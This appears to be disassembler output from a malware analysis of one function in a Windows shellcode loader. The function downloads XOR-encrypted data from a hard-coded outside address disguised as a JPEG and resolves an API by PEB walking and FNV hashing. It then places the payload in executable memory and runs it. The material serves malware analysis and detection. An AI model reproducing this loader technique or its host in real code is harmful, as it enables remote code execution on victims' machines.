Function at 0x140001790
Capabilities:
Access peb ldr_data
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
sub rsp, 0x1b8
lea rax, str.http:__101.43.163.158:13339_tnlaiamq.jpg
mov qword [rsp + 0xa8], rax
lea rcx, [rsp + 0x90]
mov qword [rsp + 0x48], rcx
call method.std::__1::vector_unsigned_char__std::__1::allocator_unsigned_char___.vector_abi:ne180100___
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0xa8]
call sym.GetUrl_XorEncryptedContent_char__std::__1::vector_unsigned_char__std::__1::allocator_unsigned_char____
mov qword [rsp + 0x50], rax
jmp 0x1400017d4
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x60], 0
mov dword [rsp + 0x5c], 0x3000
mov dword [rsp + 0x58], 0x40
lea rax, [rsp + 0x6f]
mov qword [rsp + 0xd0], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0xc8], rax
lea rax, [rsp + 0x88]
mov qword [rsp + 0xc0], rax
lea rax, [rsp + 0x5c]
mov qword [rsp + 0xb8], rax
lea rax, [rsp + 0x58]
mov qword [rsp + 0xb0], rax
lea rax, [rsp + 0xf8]
mov qword [rsp + 0x108], rax
mov rax, qword [rsp + 0x108]
mov qword [rsp + 0x38], rax
mov rax, qword gs:[0x60]
mov qword [rsp + 0x198], rax
mov rax, qword [rsp + 0x198]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x40]
mov rcx, qword [rcx + 0x10]
mov qword [rax], rcx
mov rax, qword [rsp + 0xf8]
mov rax, qword [rax + 0x30]
lea rcx, [rsp + 0xe0]
mov qword [rsp + 0x120], rcx
mov qword [rsp + 0x118], rax
mov rax, qword [rsp + 0x120]
mov rcx, qword [rsp + 0x118]
mov qword [rax + 8], rcx
mov rcx, qword [rsp + 0x118]
mov qword [rsp + 0x1a0], rcx
mov rcx, qword [rsp + 0x1a0]
mov rdx, qword [rsp + 0x1a0]
movsxd rdx, dword [rdx + 0x3c]
mov rcx, qword [rcx + rdx + 0x88]
mov qword [rsp + 0x110], rcx
mov rcx, qword [rsp + 0x118]
mov edx, dword [rsp + 0x110]
add rcx, rdx
mov qword [rax + 0x10], rcx
mov ecx, dword [rsp + 0x114]
mov dword [rax], ecx
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x128], rax
mov rcx, qword [rsp + 0x128]
mov rax, qword [rcx + 0x10]
cmp rax, qword [rcx + 8]
je 0x140001b31
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x130], rax
mov rax, qword [rsp + 0x130]
mov rax, qword [rax + 0x10]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0xdc], eax
mov eax, dword [rsp + 0xdc]
mov ecx, eax
add ecx, 0xffffffff
mov dword [rsp + 0xdc], ecx
cmp eax, 0
je 0x140001b2c
mov eax, dword [rsp + 0xdc]
lea rcx, [rsp + 0xe0]
mov qword [rsp + 0x158], rcx
mov dword [rsp + 0x154], eax
mov rdx, qword [rsp + 0x158]
mov rcx, qword [rdx + 8]
mov rax, qword [rdx + 8]
mov rdx, qword [rdx + 0x10]
mov edx, dword [rdx + 0x20]
add rax, rdx
mov edx, dword [rsp + 0x154]
mov eax, dword [rax + rdx*4]
add rcx, rax
movabs rax, 0x78c5e621f4032a35
mov qword [rsp + 0x160], rax
mov rax, qword [rsp + 0x160]
shr rax, 0x20
mov qword [rsp + 0x148], rcx
mov dword [rsp + 0x144], eax
mov eax, dword [rsp + 0x144]
mov dword [rsp + 0x140], eax
mov rax, qword [rsp + 0x148]
mov rcx, rax
add rcx, 1
mov qword [rsp + 0x148], rcx
mov al, byte [rax]
mov byte [rsp + 0x13f], al
cmp byte [rsp + 0x13f], 0
je 0x140001a6e
mov ecx, dword [rsp + 0x140]
mov al, byte [rsp + 0x13f]
mov dword [rsp + 0x1ac], ecx
mov byte [rsp + 0x1ab], al
mov eax, dword [rsp + 0x1ac]
movsx ecx, byte [rsp + 0x1ab]
xor eax, ecx
imul eax, eax, 0x1000193
mov dword [rsp + 0x140], eax
jmp 0x140001a01
mov eax, dword [rsp + 0x140]
movabs rcx, 0x78c5e621f4032a35
mov qword [rsp + 0x168], rcx
movabs rcx, 0xffffffff
and rcx, qword [rsp + 0x168]
cmp eax, ecx
jne 0x140001b27
mov eax, dword [rsp + 0xdc]
lea rcx, [rsp + 0xe0]
mov qword [rsp + 0x188], rcx
mov dword [rsp + 0x184], eax
mov rax, qword [rsp + 0x188]
mov rcx, qword [rax + 8]
mov rdx, qword [rax + 0x10]
mov edx, dword [rdx + 0x1c]
add rcx, rdx
mov qword [rsp + 0x178], rcx
mov rcx, qword [rax + 8]
mov rdx, qword [rax + 0x10]
mov edx, dword [rdx + 0x24]
add rcx, rdx
mov qword [rsp + 0x170], rcx
mov rax, qword [rax + 8]
mov rcx, qword [rsp + 0x178]
mov rdx, qword [rsp + 0x170]
mov r8d, dword [rsp + 0x184]
movzx edx, word [rdx + r8*2]
mov ecx, dword [rcx + rdx*4]
add rax, rcx
mov qword [rsp + 0x100], rax
jmp 0x140001b78
jmp 0x140001965
jmp 0x140001b31
lea rax, [rsp + 0xf8]
mov qword [rsp + 0x190], rax
mov rax, qword [rsp + 0x190]
mov rcx, qword [rax]
mov qword [rsp + 0x1b0], rcx
mov rcx, qword [rsp + 0x1b0]
mov rcx, qword [rcx]
mov qword [rax], rcx
mov al, 1
test al, 1
jne 0x14000188e
mov qword [rsp + 0x100], 0
mov rax, qword [rsp + 0x100]
mov rcx, qword [rsp + 0xc0]
mov rdx, qword [rcx]
mov rcx, qword [rsp + 0xb8]
mov r8d, dword [rcx]
mov rcx, qword [rsp + 0xb0]
mov r9d, dword [rcx]
xor ecx, ecx
call rax
mov qword [rsp + 0x30], rax
jmp 0x140001baf
jmp 0x140001bb4
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x28], rax
lea rcx, [rsp + 0x90]
call method.std::__1::vector_unsigned_char__std::__1::allocator_unsigned_char___.data_abi:ne180100___
mov rcx, qword [rsp + 0x28]
mov rdx, rax
mov r8, qword [rsp + 0x88]
call sym.memcpy
mov rax, qword [rsp + 0x70]
call rax
jmp 0x140001bf6
lea rcx, [rsp + 0x90]
call fcn.140002040
xor eax, eax
add rsp, 0x1b8
ret